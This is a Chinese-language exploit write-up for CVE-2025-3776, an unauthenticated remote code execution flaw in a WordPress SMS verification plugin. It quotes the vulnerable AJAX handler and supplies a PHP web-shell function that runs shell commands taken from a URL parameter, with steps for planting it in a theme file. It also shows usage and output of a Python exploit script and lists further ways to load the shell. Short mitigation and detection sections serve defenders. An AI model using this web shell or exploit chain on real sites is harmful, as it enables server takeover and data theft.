CVE-2025-3776 - “Verification SMS with TargetSMS” 插件 <= 1.5 中的远程代码执行漏洞

插件信息

• 插件名称： Verification SMS with TargetSMS
• 受影响版本： <= 1.5
• CVE ID： CVE-2025-3776
• 类型： 远程代码执行（RCE）
• OWASP 分类： A1：注入
• CVSS 严重性： 10.0（严重）
• 所需权限： 未认证
• 发布日期： 2025 年 4 月 23 日

---

根本原因：编程错误

该漏洞源于在用户可控的输入上使用 call_user_func()，且未通过允许的函数白名单进行过滤。这造成了一个逻辑缺陷，导致攻击者无需认证即可执行内存中已存在的任何 PHP 函数，从而引发严重的远程代码执行（RCE）风险。

漏洞代码位置

文件：/inc/ajax.php

add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');

function targetvr_ajax_handler(){
    $callback = targetvr_get_postData('callback', 'string');

    if ($callback and function_exists($callback)){
        call_user_func($callback);
    } else {
        targetvr_return_json(false);
    }

    wp_die();
}

此代码允许未认证用户触发内存中存在的任何函数，如果攻击者能够加载恶意函数，则同样可以触发。

---

如何测试此漏洞

✅ 前提条件

要成功利用此漏洞，WordPress 环境中必须已存在一个可调用的函数。由于 WordPress 插件和主题可以自动加载函数，攻击者可以通过当前主题的 functions.php 文件注入自己的函数。

📍 需要修改的文件：

target.com/wp-content/themes/twentytwentyfour/functions.php

🛠️ 在 functions.php 末尾注入以下载荷：

function evil() {
    if (isset($_GET['cmd'])) {
        echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
    } else {
        echo '<pre>' . shell_exec("whoami") . '</pre>';
    }
    exit;
}

✅ 这样可以确保 evil() 函数被加载到内存中，并可通过 call_user_func() 执行。

---

使用 Python 脚本进行利用的步骤

✅ 用法：

python3 CVE-2025-3776.py -u http://target.com -c "id"

✅ 示例输出：

[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>

Exploit By : Nxploited ( Khaled Alenazi )

---

Python 脚本帮助菜单：

usage: CVE-2025-3776.py [-h] -u URL [-c CMD]

CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5

# Exploit by Nxploited ( Khaled Alenazi )

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target WordPress site URL
  -c, --cmd CMD  Command to execute (default: whoami)

---

未注入时的行为

如果内存中没有可用的 evil() 函数或类似函数：

• 请求将返回：

{"status":false}

• 这意味着回调函数不存在，利用会安全失败。

---

现实世界中的利用途径

• 主题文件注入： 修改当前主题的 functions.php（如上述演示）。
• 通过文件管理器插件： 使用 WP File Manager 等任何插件上传包含 evil() 的 PHP 文件。
• 通过 LFI 或包含漏洞： 利用现有的本地文件包含（LFI）漏洞来包含含有恶意函数的上传文件。

---

风险与影响

一旦恶意函数被加载，未认证的攻击者可以：

• 执行任意 shell 命令
• 查看敏感服务器文件
• 横向移动，导致整个站点或服务器沦陷

---

修复建议

• 如果运行的版本 <= 1.5，请立即禁用或移除该插件
• 限制通过 wp-admin 进行文件编辑的权限
• 修补或替换为安全的替代插件

---

检测方法

查找发送到以下地址的重复 POST 请求：

/wp-admin/admin-ajax.php?action=targetvrHHndler

并带有 callback=evil 或任何意外函数名

---

法律免责声明

此信息仅供教育和伦理研究之用。作者对因使用此信息而导致的任何滥用或损害概不负责。

---

漏洞利用归属

Exploit 作者：Nxploited (Khaled Alenazi)